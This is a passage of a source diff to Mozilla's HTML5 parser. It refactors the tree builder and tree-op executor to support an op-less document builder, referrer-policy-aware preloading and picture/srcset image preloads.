startTag(nsHtml5ElementName::ELT_TITLE,
nsHtml5HtmlAttributes::EMPTY_ATTRIBUTES,
false);
@@ -712,6 +1083,7 @@ nsHtml5TreeBuilder::StartPlainTextViewSource(const nsAutoString& aTitle)
void
nsHtml5TreeBuilder::StartPlainText()
{
+ MOZ_ASSERT(!mBuilder, "Must not view source with builder.");
startTag(nsHtml5ElementName::ELT_LINK,
nsHtml5PlainTextUtils::NewLinkAttributes(),
false);
@@ -722,6 +1094,7 @@ nsHtml5TreeBuilder::StartPlainText()
void
nsHtml5TreeBuilder::StartPlainTextBody()
{
+ MOZ_ASSERT(!mBuilder, "Must not view source with builder.");
startTag(nsHtml5ElementName::ELT_PRE,
nsHtml5HtmlAttributes::EMPTY_ATTRIBUTES,
false);
@@ -732,26 +1105,67 @@ nsHtml5TreeBuilder::StartPlainTextBody()
void
nsHtml5TreeBuilder::documentMode(nsHtml5DocumentMode m)
{
+ if (mBuilder) {
+ mBuilder->SetDocumentMode(m);
+ return;
+ }
nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
NS_ASSERTION(treeOp, "Tree op allocation failed.");
treeOp->Init(m);
}
-nsIContent**
-nsHtml5TreeBuilder::getDocumentFragmentForTemplate(nsIContent** aTemplate)
+nsIContentHandle*
+nsHtml5TreeBuilder::getDocumentFragmentForTemplate(nsIContentHandle* aTemplate)
{
+ if (mBuilder) {
+ return nsHtml5TreeOperation::GetDocumentFragmentForTemplate(static_cast<nsIContent*>(aTemplate));
+ }
nsHtml5TreeOperation* treeOp = mOpQueue.AppendElement();
NS_ASSERTION(treeOp, "Tree op allocation failed.");
- nsIContent** fragHandle = AllocateContentHandle();
+ nsIContentHandle* fragHandle = AllocateContentHandle();
treeOp->Init(eTreeOpGetDocumentFragmentForTemplate, aTemplate, fragHandle);
return fragHandle;
}
+nsIContentHandle*
+nsHtml5TreeBuilder::getFormPointerForContext(nsIContentHandle* aContext)
+{
+ MOZ_ASSERT(mBuilder, "Must have builder.");
+ if (!aContext) {
+ return nullptr;
+ }
+
+ MOZ_ASSERT(NS_IsMainThread());
+
+ // aContext must always be an element that already exists
+ // in the document.
+ nsIContent* contextNode = static_cast<nsIContent*>(aContext);
+ nsIContent* currentAncestor = contextNode;
+
+ // We traverse the ancestors of the context node to find the nearest
+ // form pointer. This traversal is why aContext must not be an emtpy handle.
+ nsIContent* nearestForm = nullptr;
+ while (currentAncestor) {
+ if (currentAncestor->IsHTML(nsGkAtoms::form)) {
+ nearestForm = currentAncestor;
+ break;
+ }
+ currentAncestor = currentAncestor->GetParent();
+ }
+
+ if (!nearestForm) {
+ return nullptr;
+ }
+
+ return nearestForm;
+}
+
// Error reporting
void
nsHtml5TreeBuilder::EnableViewSource(nsHtml5Highlighter* aHighlighter)
{
+ MOZ_ASSERT(!mBuilder, "Must not view source with builder.");
mViewSource = aHighlighter;
}
diff --git a/parser/html/nsHtml5TreeBuilderHSupplement.h b/parser/html/nsHtml5TreeBuilderHSupplement.h
index 33a37ac9a..c47fe5626 100644
--- a/parser/html/nsHtml5TreeBuilderHSupplement.h
+++ b/parser/html/nsHtml5TreeBuilderHSupplement.h
@@ -5,6 +5,11 @@
#define NS_HTML5_TREE_BUILDER_HANDLE_ARRAY_LENGTH 512
private:
+ nsHtml5OplessBuilder* mBuilder;
+ // !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
+ // If mBuilder is not null, the tree op machinery is not in use and
+ // the fields below aren't in use, either.
+ // !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
nsHtml5Highlighter* mViewSource;
nsTArray<nsHtml5TreeOperation> mOpQueue;
nsTArray<nsHtml5SpeculativeLoad> mSpeculativeLoadQueue;
@@ -13,7 +18,6 @@
int32_t mHandlesUsed;
nsTArray<nsAutoArrayPtr<nsIContent*> > mOldHandles;
nsHtml5TreeOpStage* mSpeculativeLoadStage;
- nsIContent** mDeepTreeSurrogateParent;
bool mCurrentHtmlScriptIsAsyncOrDefer;
bool mPreventScriptExecution;
#ifdef DEBUG
@@ -26,7 +30,9 @@
*/
void documentMode(nsHtml5DocumentMode m);
- nsIContent** getDocumentFragmentForTemplate(nsIContent** aTemplate);
+ nsIContentHandle* getDocumentFragmentForTemplate(nsIContentHandle* aTemplate);
+
+ nsIContentHandle* getFormPointerForContext(nsIContentHandle* aContext);
/**
* Using nsIContent** instead of nsIContent* is the parser deals with DOM
@@ -47,19 +53,27 @@
* run before tree ops that try to further operate on the node that the
* nsIContent** is a handle to.
*
- * On-the-main-thread parts of the parser use the same mechanism in order
- * to avoid having to have duplicate code paths for on-the-main-thread and
- * off-the-main-thread tree builder instances.)
+ * On-the-main-thread parts of the parser use nsIContent* instead of
+ * nsIContent**. Since both cases share the same parser core, the parser
+ * core casts both to nsIContentHandle*.
*/
- nsIContent** AllocateContentHandle();
+ nsIContentHandle* AllocateContentHandle();
- void accumulateCharactersForced(const PRUnichar* aBuf, int32_t aStart, int32_t aLength)
+ void accumulateCharactersForced(const char16_t* aBuf, int32_t aStart, int32_t aLength)
{
accumulateCharacters(aBuf, aStart, aLength);
}
+ void MarkAsBrokenAndRequestSuspension(nsresult aRv)
+ {
+ mBuilder->MarkAsBroken(aRv);
+ requestSuspension();
+ }
+
public:
+ explicit nsHtml5TreeBuilder(nsHtml5OplessBuilder* aBuilder);
+
nsHtml5TreeBuilder(nsAHtml5TreeOpSink* aOpSink,
nsHtml5TreeOpStage* aStage);
@@ -73,11 +87,13 @@
bool HasScript();
- void SetOpSink(nsAHtml5TreeOpSink* aOpSink) {
+ void SetOpSink(nsAHtml5TreeOpSink* aOpSink)
+ {
mOpSink = aOpSink;
}
- void ClearOps() {
+ void ClearOps()
+ {
mOpQueue.Clear();
}
@@ -101,10 +117,16 @@
void DropHandles();
- void SetPreventScriptExecution(bool aPrevent) {
+ void SetPreventScriptExecution(bool aPrevent)
+ {
mPreventScriptExecution = aPrevent;
}
+ bool HasBuilder()
+ {
+ return mBuilder;
+ }
+
void EnableViewSource(nsHtml5Highlighter* aHighlighter);
void errStrayStartTag(nsIAtom* aName);
diff --git a/parser/html/nsHtml5TreeOpExecutor.cpp b/parser/html/nsHtml5TreeOpExecutor.cpp
index c03a9bf55..d9dad184d 100644
--- a/parser/html/nsHtml5TreeOpExecutor.cpp
+++ b/parser/html/nsHtml5TreeOpExecutor.cpp
@@ -10,14 +10,10 @@
#include "nsError.h"
#include "nsHtml5TreeOpExecutor.h"
#include "nsScriptLoader.h"
-#include "nsIMarkupDocumentViewer.h"
#include "nsIContentViewer.h"
#include "nsIDocShellTreeItem.h"
-#include "nsIStyleSheetLinkingElement.h"
-#include "nsStyleLinkElement.h"
#include "nsIDocShell.h"
#include "nsIScriptGlobalObject.h"
-#include "nsIScriptGlobalObjectOwner.h"
#include "nsIScriptSecurityManager.h"
#include "nsIWebShellServices.h"
#include "nsContentUtils.h"
@@ -33,16 +29,14 @@
#include "nsIScriptContext.h"
#include "mozilla/Preferences.h"
#include "nsIHTMLDocument.h"
+#include "nsILoadInfo.h"
using namespace mozilla;
-NS_IMPL_CYCLE_COLLECTION_INHERITED_1(nsHtml5TreeOpExecutor, nsContentSink,
- mOwnedElements)
-
NS_INTERFACE_TABLE_HEAD_CYCLE_COLLECTION_INHERITED(nsHtml5TreeOpExecutor)
- NS_INTERFACE_TABLE_INHERITED1(nsHtml5TreeOpExecutor,
- nsIContentSink)
-NS_INTERFACE_TABLE_TAIL_INHERITING(nsContentSink)
+ NS_INTERFACE_TABLE_INHERITED(nsHtml5TreeOpExecutor,
+ nsIContentSink)
+NS_INTERFACE_TABLE_TAIL_INHERITING(nsHtml5DocumentBuilder)
NS_IMPL_ADDREF_INHERITED(nsHtml5TreeOpExecutor, nsContentSink)
@@ -53,7 +47,7 @@ class nsHtml5ExecutorReflusher : public nsRunnable
private:
nsRefPtr<nsHtml5TreeOpExecutor> mExecutor;
public:
- nsHtml5ExecutorReflusher(nsHtml5TreeOpExecutor* aExecutor)
+ explicit nsHtml5ExecutorReflusher(nsHtml5TreeOpExecutor* aExecutor)
: mExecutor(aExecutor)
{}
NS_IMETHODIMP Run()
@@ -66,10 +60,12 @@ class nsHtml5ExecutorReflusher : public nsRunnable
static mozilla::LinkedList<nsHtml5TreeOpExecutor>* gBackgroundFlushList = nullptr;
static nsITimer* gFlushTimer = nullptr;
-nsHtml5TreeOpExecutor::nsHtml5TreeOpExecutor(bool aRunsToCompletion)
+nsHtml5TreeOpExecutor::nsHtml5TreeOpExecutor()
+ : nsHtml5DocumentBuilder(false)
+ , mPreloadedURLs(23) // Mean # of preloadable resources per page on dmoz
+ , mSpeculationReferrerPolicyWasSet(false)
+ , mSpeculationReferrerPolicy(mozilla::net::RP_Default)
{
- mRunsToCompletion = aRunsToCompletion;
- mPreloadedURLs.Init(23); // Mean # of preloadable resources per page on dmoz
// zeroing operator new for everything else
}
@@ -101,14 +97,14 @@ nsHtml5TreeOpExecutor::WillParse()
NS_IMETHODIMP
nsHtml5TreeOpExecutor::WillBuildModel(nsDTDMode aDTDMode)
{
+ mDocument->AddObserver(this);
+ WillBuildModelImpl();
+ GetDocument()->BeginLoad();
if (mDocShell && !GetDocument()->GetWindow() &&
!IsExternalViewSource()) {
// Not loading as data but script global object not ready
return MarkAsBroken(NS_ERROR_DOM_INVALID_STATE_ERR);
}
- mDocument->AddObserver(this);
- WillBuildModelImpl();
- GetDocument()->BeginLoad();
return NS_OK;
}
@@ -117,8 +113,6 @@ nsHtml5TreeOpExecutor::WillBuildModel(nsDTDMode aDTDMode)
NS_IMETHODIMP
nsHtml5TreeOpExecutor::DidBuildModel(bool aTerminated)
{
- NS_PRECONDITION(mStarted, "Bad life cycle.");
-
if (!aTerminated) {
// This is needed to avoid unblocking loads too many times on one hand
// and on the other hand to avoid destroying the frame constructor from
@@ -168,7 +162,12 @@ nsHtml5TreeOpExecutor::DidBuildModel(bool aTerminated)
// Return early to avoid unblocking the onload event too many times.
return NS_OK;
}
- mDocument->EndLoad();
+
+ // We may not have called BeginLoad() if loading is terminated before
+ // OnStartRequest call.
+ if (mStarted) {
+ mDocument->EndLoad();
+ }
DropParserAndPerfHint();
#ifdef GATHER_DOCWRITE_STATISTICS
printf("UNSAFE SCRIPTS: %d\n", sUnsafeDocWrites);
@@ -214,67 +213,16 @@ nsHtml5TreeOpExecutor::FlushPendingNotifications(mozFlushType aType)
}
}
-void
-nsHtml5TreeOpExecutor::SetDocumentCharsetAndSource(nsACString& aCharset, int32_t aCharsetSource)
-{
- if (mDocument) {
- mDocument->SetDocumentCharacterSetSource(aCharsetSource);
- mDocument->SetDocumentCharacterSet(aCharset);
- }
- if (mDocShell) {
- // the following logic to get muCV is copied from
- // nsHTMLDocument::StartDocumentLoad
- // We need to call muCV->SetPrevDocCharacterSet here in case
- // the charset is detected by parser DetectMetaTag
- nsCOMPtr<nsIMarkupDocumentViewer> mucv;
- nsCOMPtr<nsIContentViewer> cv;
- mDocShell->GetContentViewer(getter_AddRefs(cv));
- if (cv) {
- mucv = do_QueryInterface(cv);
- } else {
- // in this block of code, if we get an error result, we return
- // it but if we get a null pointer, that's perfectly legal for
- // parent and parentContentViewer
- if (!mDocShell) {
- return;
- }
- nsCOMPtr<nsIDocShellTreeItem> parentAsItem;
- mDocShell->GetSameTypeParent(getter_AddRefs(parentAsItem));
- nsCOMPtr<nsIDocShell> parent(do_QueryInterface(parentAsItem));
- if (parent) {
- nsCOMPtr<nsIContentViewer> parentContentViewer;
- nsresult rv =
- parent->GetContentViewer(getter_AddRefs(parentContentViewer));
- if (NS_SUCCEEDED(rv) && parentContentViewer) {
- mucv = do_QueryInterface(parentContentViewer);
- }
- }
- }
- if (mucv) {
- mucv->SetPrevDocCharacterSet(aCharset);
- }
- }
-}
-
nsISupports*
nsHtml5TreeOpExecutor::GetTarget()
{
return mDocument;
}
-// nsContentSink overrides
-
-void
-nsHtml5TreeOpExecutor::UpdateChildCounts()
-{
- // No-op
-}
-
nsresult
nsHtml5TreeOpExecutor::MarkAsBroken(nsresult aReason)
{
NS_ASSERTION(NS_IsMainThread(), "Wrong thread!");
- NS_ASSERTION(!mRunsToCompletion, "Fragment parsers can't be broken!");
mBroken = aReason;
if (mStreamParser) {
mStreamParser->Terminate();
@@ -292,12 +240,6 @@ nsHtml5TreeOpExecutor::MarkAsBroken(nsresult aReason)
return aReason;
}
-nsresult
-nsHtml5TreeOpExecutor::FlushTags()
-{
- return NS_OK;
-}
-
void
FlushTimerCallback(nsITimer* aTimer, void* aClosure)
{
@@ -341,61 +283,6 @@ nsHtml5TreeOpExecutor::ContinueInterruptedParsingAsync()
}
void
-nsHtml5TreeOpExecutor::UpdateStyleSheet(nsIContent* aElement)
-{
- // Break out of the doc update created by Flush() to zap a runnable
- // waiting to call UpdateStyleSheet without the right observer
- EndDocUpdate();
-
- if (MOZ_UNLIKELY(!mParser)) {
- // EndDocUpdate ran stuff that called nsIParser::Terminate()
- return;
- }
-
- nsCOMPtr<nsIStyleSheetLinkingElement> ssle(do_QueryInterface(aElement));
- NS_ASSERTION(ssle, "Node didn't QI to style.");
-
- ssle->SetEnableUpdates(true);
-
- bool willNotify;
- bool isAlternate;
- nsresult rv = ssle->UpdateStyleSheet(mRunsToCompletion ? nullptr : this,
- &willNotify,
- &isAlternate);
- if (NS_SUCCEEDED(rv) && willNotify && !isAlternate && !mRunsToCompletion) {
- ++mPendingSheetCount;
- mScriptLoader->AddExecuteBlocker();
- }
-
- if (aElement->IsHTML(nsGkAtoms::link)) {
- // look for <link rel="next" href="url">
- nsAutoString relVal;
- aElement->GetAttr(kNameSpaceID_None, nsGkAtoms::rel, relVal);
- if (!relVal.IsEmpty()) {
- uint32_t linkTypes = nsStyleLinkElement::ParseLinkTypes(relVal);
- bool hasPrefetch = linkTypes & PREFETCH;
- if (hasPrefetch || (linkTypes & NEXT)) {
- nsAutoString hrefVal;
- aElement->GetAttr(kNameSpaceID_None, nsGkAtoms::href, hrefVal);
- if (!hrefVal.IsEmpty()) {
- PrefetchHref(hrefVal, aElement, hasPrefetch);
- }
- }
- if (linkTypes & DNS_PREFETCH) {
- nsAutoString hrefVal;
- aElement->GetAttr(kNameSpaceID_None, nsGkAtoms::href, hrefVal);
- if (!hrefVal.IsEmpty()) {
- PrefetchDNS(hrefVal);
- }
- }
- }
- }
-
- // Re-open update
- BeginDocUpdate();
-}
-
-void
nsHtml5TreeOpExecutor::FlushSpeculativeLoads()
{
nsTArray<nsHtml5SpeculativeLoad> speculativeLoadQueue;
@@ -421,7 +308,7 @@ class nsHtml5FlushLoopGuard
uint32_t mStartTime;
#endif
public:
- nsHtml5FlushLoopGuard(nsHtml5TreeOpExecutor* aExecutor)
+ explicit nsHtml5FlushLoopGuard(nsHtml5TreeOpExecutor* aExecutor)
: mExecutor(aExecutor)
#ifdef DEBUG_NS_HTML5_TREE_OP_EXECUTOR_FLUSH
, mStartTime(PR_IntervalToMilliseconds(PR_IntervalNow()))
@@ -453,7 +340,9 @@ class nsHtml5FlushLoopGuard
void
nsHtml5TreeOpExecutor::RunFlushLoop()
{
- PROFILER_LABEL("html5", "RunFlushLoop");
+ PROFILER_LABEL("nsHtml5TreeOpExecutor", "RunFlushLoop",
+ js::ProfileEntry::Category::OTHER);
+
if (mRunFlushLoopOnStack) {
// There's already a RunFlushLoop() on the call stack.
return;
@@ -546,6 +435,7 @@ nsHtml5TreeOpExecutor::RunFlushLoop()
BeginDocUpdate();
uint32_t numberOfOpsToFlush = mOpQueue.Length();
+
const nsHtml5TreeOperation* first = mOpQueue.Elements();
const nsHtml5TreeOperation* last = first + numberOfOpsToFlush - 1;
for (nsHtml5TreeOperation* iter = const_cast<nsHtml5TreeOperation*>(first);;) {
@@ -555,7 +445,11 @@ nsHtml5TreeOpExecutor::RunFlushLoop()
}
NS_ASSERTION(mFlushState == eInDocUpdate,
"Tried to perform tree op outside update batch.");
- iter->Perform(this, &scriptElement);
+ nsresult rv = iter->Perform(this, &scriptElement);
+ if (NS_FAILED(rv)) {
+ MarkAsBroken(rv);
+ break;
+ }
// Be sure not to check the deadline if the last op was just performed.
if (MOZ_UNLIKELY(iter == last)) {
@@ -646,6 +540,7 @@ nsHtml5TreeOpExecutor::FlushDocumentWrite()
BeginDocUpdate();
uint32_t numberOfOpsToFlush = mOpQueue.Length();
+
const nsHtml5TreeOperation* start = mOpQueue.Elements();
const nsHtml5TreeOperation* end = start + numberOfOpsToFlush;
for (nsHtml5TreeOperation* iter = const_cast<nsHtml5TreeOperation*>(start);
@@ -658,6 +553,10 @@ nsHtml5TreeOpExecutor::FlushDocumentWrite()
NS_ASSERTION(mFlushState == eInDocUpdate,
"Tried to perform tree op outside update batch.");
rv = iter->Perform(this, &scriptElement);
+ if (NS_FAILED(rv)) {
+ MarkAsBroken(rv);
+ break;
+ }
}
mOpQueue.Clear();
@@ -684,43 +583,16 @@ nsHtml5TreeOpExecutor::IsScriptEnabled()
{
if (!mDocument || !mDocShell)
return true;
- nsCOMPtr<nsIScriptGlobalObject> globalObject = do_QueryInterface(mDocument->GetWindow());
+ nsCOMPtr<nsIScriptGlobalObject> globalObject = do_QueryInterface(mDocument->GetInnerWindow());
// Getting context is tricky if the document hasn't had its
// GlobalObject set yet
if (!globalObject) {
- nsCOMPtr<nsIScriptGlobalObjectOwner> owner = do_GetInterface(mDocShell);
- NS_ENSURE_TRUE(owner, true);
- globalObject = do_QueryInterface(mDocument->GetWindow());
+ globalObject = mDocShell->GetScriptGlobalObject();
NS_ENSURE_TRUE(globalObject, true);
}
- nsIScriptContext *scriptContext = globalObject->GetContext();
- NS_ENSURE_TRUE(scriptContext, true);
- JSContext* cx = scriptContext->GetNativeContext();
- NS_ENSURE_TRUE(cx, true);
- bool enabled = true;
- nsContentUtils::GetSecurityManager()->
- CanExecuteScripts(cx, mDocument->NodePrincipal(), &enabled);
- return enabled;
-}
-
-void
-nsHtml5TreeOpExecutor::SetDocumentMode(nsHtml5DocumentMode m)
-{
- nsCompatibility mode = eCompatibility_NavQuirks;
- switch (m) {
- case STANDARDS_MODE:
- mode = eCompatibility_FullStandards;
- break;
- case ALMOST_STANDARDS_MODE:
- mode = eCompatibility_AlmostStandards;
- break;
- case QUIRKS_MODE:
- mode = eCompatibility_NavQuirks;
- break;
- }
- nsCOMPtr<nsIHTMLDocument> htmlDocument = do_QueryInterface(mDocument);
- NS_ASSERTION(htmlDocument, "Document didn't QI into HTML document.");
- htmlDocument->SetCompatibilityMode(mode);
+ NS_ENSURE_TRUE(globalObject && globalObject->GetGlobalJSObject(), true);
+ return nsContentUtils::GetSecurityManager()->
+ ScriptAllowed(globalObject->GetGlobalJSObject());
}
void
@@ -805,15 +677,6 @@ nsHtml5TreeOpExecutor::RunScript(nsIContent* aScriptElement)
}
}
-nsresult
-nsHtml5TreeOpExecutor::Init(nsIDocument* aDoc,
- nsIURI* aURI,
- nsISupports* aContainer,
- nsIChannel* aChannel)
-{
- return nsContentSink::Init(aDoc, aURI, aContainer, aChannel);
-}
-
void
nsHtml5TreeOpExecutor::Start()
{
@@ -889,7 +752,7 @@ nsHtml5TreeOpExecutor::MaybeComplainAboutCharset(const char* aMsgId,
mAlreadyComplainedAboutCharset = true;
nsContentUtils::ReportToConsole(aError ? nsIScriptError::errorFlag
: nsIScriptError::warningFlag,
- "HTML parser",
+ NS_LITERAL_CSTRING("HTML parser"),
mDocument,
nsContentUtils::eHTMLPARSER_PROPERTIES,
aMsgId,
@@ -907,7 +770,7 @@ nsHtml5TreeOpExecutor::ComplainAboutBogusProtocolCharset(nsIDocument* aDoc)
"How come we already managed to complain?");
mAlreadyComplainedAboutCharset = true;
nsContentUtils::ReportToConsole(nsIScriptError::errorFlag,
- "HTML parser",
+ NS_LITERAL_CSTRING("HTML parser"),
aDoc,
nsContentUtils::eHTMLPARSER_PROPERTIES,
"EncProtocolUnsupported");
@@ -921,31 +784,6 @@ nsHtml5TreeOpExecutor::GetParser()
}
void
-nsHtml5TreeOpExecutor::Reset()
-{
- MOZ_ASSERT(mRunsToCompletion);
- DropHeldElements();
- mOpQueue.Clear();
- mStarted = false;
- mFlushState = eNotFlushing;
- mRunFlushLoopOnStack = false;
- MOZ_ASSERT(!mReadingFromStage);
- MOZ_ASSERT(NS_SUCCEEDED(mBroken));
-}
-
-void
-nsHtml5TreeOpExecutor::DropHeldElements()
-{
- mScriptLoader = nullptr;
- mDocument = nullptr;
- mNodeInfoManager = nullptr;
- mCSSLoader = nullptr;
- mDocumentURI = nullptr;
- mDocShell = nullptr;
- mOwnedElements.Clear();
-}
-
-void
nsHtml5TreeOpExecutor::MoveOpsFrom(nsTArray<nsHtml5TreeOperation>& aOpQueue)
{
NS_PRECONDITION(mFlushState == eNotFlushing, "mOpQueue modified during tree op execution.");
@@ -966,6 +804,22 @@ nsIURI*
nsHtml5TreeOpExecutor::GetViewSourceBaseURI()
{
if (!mViewSourceBaseURI) {
+
+ // We query the channel for the baseURI because in certain situations it
+ // cannot otherwise be determined. If this process fails, fall back to the
+ // standard method.
+ nsCOMPtr<nsIChannel> channel = mDocument->GetChannel();
+ if (channel) {
+ nsCOMPtr<nsILoadInfo> loadInfo;
+ nsresult rv = channel->GetLoadInfo(getter_AddRefs(loadInfo));
+ if (NS_SUCCEEDED(rv) && loadInfo) {
+ rv = loadInfo->GetBaseURI(getter_AddRefs(mViewSourceBaseURI));
+ if (NS_SUCCEEDED(rv) && mViewSourceBaseURI) {
+ return mViewSourceBaseURI;
+ }
+ }
+ }
+
nsCOMPtr<nsIURI> orig = mDocument->GetOriginalURI();
bool isViewSource;
orig->SchemeIs("view-source", &isViewSource);
@@ -1005,24 +859,31 @@ nsHtml5TreeOpExecutor::IsExternalViewSource()
// Speculative loading
-already_AddRefed<nsIURI>
-nsHtml5TreeOpExecutor::ConvertIfNotPreloadedYet(const nsAString& aURL)
+nsIURI*
+nsHtml5TreeOpExecutor::BaseURIForPreload()
{
- if (aURL.IsEmpty()) {
- return nullptr;
- }
// The URL of the document without <base>
nsIURI* documentURI = mDocument->GetDocumentURI();
// The URL of the document with non-speculative <base>
nsIURI* documentBaseURI = mDocument->GetDocBaseURI();
- // If the two above are different, use documentBaseURI. If they are the
- // same, the document object isn't aware of a <base>, so attempt to use the
+ // If the two above are different, use documentBaseURI. If they are the same,
+ // the document object isn't aware of a <base>, so attempt to use the
// mSpeculationBaseURI or, failing, that, documentURI.
- nsIURI* base = (documentURI == documentBaseURI) ?
- (mSpeculationBaseURI ?
- mSpeculationBaseURI.get() : documentURI)
- : documentBaseURI;
+ return (documentURI == documentBaseURI) ?
+ (mSpeculationBaseURI ?
+ mSpeculationBaseURI.get() : documentURI)
+ : documentBaseURI;
+}
+
+already_AddRefed<nsIURI>
+nsHtml5TreeOpExecutor::ConvertIfNotPreloadedYet(const nsAString& aURL)
+{
+ if (aURL.IsEmpty()) {
+ return nullptr;
+ }
+
+ nsIURI* base = BaseURIForPreload();
const nsCString& charset = mDocument->GetDocumentCharacterSet();
nsCOMPtr<nsIURI> uri;
nsresult rv = NS_NewURI(getter_AddRefs(uri), aURL, charset.get(), base);
@@ -1030,13 +891,24 @@ nsHtml5TreeOpExecutor::ConvertIfNotPreloadedYet(const nsAString& aURL)
NS_WARNING("Failed to create a URI");
return nullptr;
}
+
+ if (ShouldPreloadURI(uri)) {
+ return uri.forget();
+ }
+
+ return nullptr;
+}
+
+bool
+nsHtml5TreeOpExecutor::ShouldPreloadURI(nsIURI *aURI)
+{
nsAutoCString spec;
- uri->GetSpec(spec);
+ aURI->GetSpec(spec);
if (mPreloadedURLs.Contains(spec)) {
- return nullptr;
+ return false;
}
mPreloadedURLs.PutEntry(spec);
- return uri.forget();
+ return true;
}
void
@@ -1051,7 +923,8 @@ nsHtml5TreeOpExecutor::PreloadScript(const nsAString& aURL,
return;
}
mDocument->ScriptLoader()->PreloadURI(uri, aCharset, aType, aCrossOrigin,
- aScriptFromHead);
+ aScriptFromHead,
+ mSpeculationReferrerPolicy);
}
void
@@ -1063,18 +936,45 @@ nsHtml5TreeOpExecutor::PreloadStyle(const nsAString& aURL,
if (!uri) {
return;
}
- mDocument->PreloadStyle(uri, aCharset, aCrossOrigin);
+ mDocument->PreloadStyle(uri, aCharset, aCrossOrigin,
+ mSpeculationReferrerPolicy);
}
void
nsHtml5TreeOpExecutor::PreloadImage(const nsAString& aURL,
- const nsAString& aCrossOrigin)
+ const nsAString& aCrossOrigin,
+ const nsAString& aSrcset,
+ const nsAString& aSizes)
{
- nsCOMPtr<nsIURI> uri = ConvertIfNotPreloadedYet(aURL);
- if (!uri) {
- return;
+ nsCOMPtr<nsIURI> baseURI = BaseURIForPreload();
+ nsCOMPtr<nsIURI> uri = mDocument->ResolvePreloadImage(baseURI, aURL, aSrcset,
+ aSizes);
+ if (uri && ShouldPreloadURI(uri)) {
+ mDocument->MaybePreLoadImage(uri, aCrossOrigin, mSpeculationReferrerPolicy);
}
- mDocument->MaybePreLoadImage(uri, aCrossOrigin);
+}
+
+// These calls inform the document of picture state and seen sources, such that
+// it can use them to inform ResolvePreLoadImage as necessary
+void
+nsHtml5TreeOpExecutor::PreloadPictureSource(const nsAString& aSrcset,
+ const nsAString& aSizes,
+ const nsAString& aType,
+ const nsAString& aMedia)
+{
+ mDocument->PreloadPictureImageSource(aSrcset, aSizes, aType, aMedia);
+}
+
+void
+nsHtml5TreeOpExecutor::PreloadOpenPicture()
+{
+ mDocument->PreloadPictureOpened();
+}
+
+void
+nsHtml5TreeOpExecutor::PreloadEndPicture()
+{
+ mDocument->PreloadPictureClosed();
}
void
@@ -1087,7 +987,6 @@ nsHtml5TreeOpExecutor::AddBase(const nsAString& aURL)
mViewSourceBaseURI = nullptr;
}
}
-
void
nsHtml5TreeOpExecutor::SetSpeculationBase(const nsAString& aURL)
{
@@ -1101,6 +1000,32 @@ nsHtml5TreeOpExecutor::SetSpeculationBase(const nsAString& aURL)
NS_WARN_IF_FALSE(NS_SUCCEEDED(rv), "Failed to create a URI");
}
+void
+nsHtml5TreeOpExecutor::SetSpeculationReferrerPolicy(const nsAString& aReferrerPolicy)
+{
+ ReferrerPolicy policy = mozilla::net::ReferrerPolicyFromString(aReferrerPolicy);
+ return SetSpeculationReferrerPolicy(policy);
+}
+
+void
+nsHtml5TreeOpExecutor::SetSpeculationReferrerPolicy(ReferrerPolicy aReferrerPolicy)
+{
+ if (mSpeculationReferrerPolicyWasSet &&
+ aReferrerPolicy != mSpeculationReferrerPolicy) {
+ // According to the Referrer Policy spec, if there's already been a policy
+ // set and another attempt is made to set a _different_ policy, the result
+ // is a "No Referrer" policy.
+ mSpeculationReferrerPolicy = mozilla::net::RP_No_Referrer;
+ }
+ else {
+ // Record "speculated" referrer policy locally and thread through the
+ // speculation phase. The actual referrer policy will be set by
+ // HTMLMetaElement::BindToTree().
+ mSpeculationReferrerPolicyWasSet = true;
+ mSpeculationReferrerPolicy = aReferrerPolicy;
+ }
+}
+
#ifdef DEBUG_NS_HTML5_TREE_OP_EXECUTOR_FLUSH
uint32_t nsHtml5TreeOpExecutor::sAppendBatchMaxSize = 0;
uint32_t nsHtml5TreeOpExecutor::sAppendBatchSlotsExamined = 0;
diff --git a/parser/html/nsHtml5TreeOpExecutor.h b/parser/html/nsHtml5TreeOpExecutor.h
index 5302594b4..b3b54eee1 100644
--- a/parser/html/nsHtml5TreeOpExecutor.h
+++ b/parser/html/nsHtml5TreeOpExecutor.h
@@ -2,13 +2,10 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#ifndef nsHtml5TreeOpExecutor_h__
-#define nsHtml5TreeOpExecutor_h__
+#ifndef nsHtml5TreeOpExecutor_h
+#define nsHtml5TreeOpExecutor_h
#include "nsIAtom.h"
-#include "nsINameSpaceManager.h"
-#include "nsIContent.h"
-#include "nsIDocument.h"
#include "nsTraceRefcnt.h"
#include "nsHtml5TreeOperation.h"
#include "nsHtml5SpeculativeLoad.h"
@@ -24,32 +21,27 @@
#include "nsTHashtable.h"
#include "nsHashKeys.h"
#include "mozilla/LinkedList.h"
+#include "nsHtml5DocumentBuilder.h"
+#include "mozilla/net/ReferrerPolicy.h"
class nsHtml5Parser;
class nsHtml5TreeBuilder;
class nsHtml5Tokenizer;
class nsHtml5StreamParser;
+class nsIContent;
+class nsIDocument;
-typedef nsIContent* nsIContentPtr;
-
-enum eHtml5FlushState {
- eNotFlushing = 0, // not flushing
- eInFlush = 1, // the Flush() method is on the call stack
- eInDocUpdate = 2, // inside an update batch on the document
- eNotifying = 3 // flushing pending append notifications
-};
-
-class nsHtml5TreeOpExecutor : public nsContentSink,
- public nsIContentSink,
- public nsAHtml5TreeOpSink,
- public mozilla::LinkedListElement<nsHtml5TreeOpExecutor>
+class nsHtml5TreeOpExecutor final : public nsHtml5DocumentBuilder,
+ public nsIContentSink,
+ public nsAHtml5TreeOpSink,
+ public mozilla::LinkedListElement<nsHtml5TreeOpExecutor>
{
friend class nsHtml5FlushLoopGuard;
+ typedef mozilla::net::ReferrerPolicy ReferrerPolicy;
public:
NS_DECL_AND_IMPL_ZEROING_OPERATOR_NEW
NS_DECL_ISUPPORTS_INHERITED
- NS_DECL_CYCLE_COLLECTION_CLASS_INHERITED(nsHtml5TreeOpExecutor, nsContentSink)
private:
static bool sExternalViewSource;
@@ -69,7 +61,6 @@ class nsHtml5TreeOpExecutor : public nsContentSink,
bool mReadingFromStage;
nsTArray<nsHtml5TreeOperation> mOpQueue;
nsHtml5StreamParser* mStreamParser;
- nsTArray<nsCOMPtr<nsIContent> > mOwnedElements;
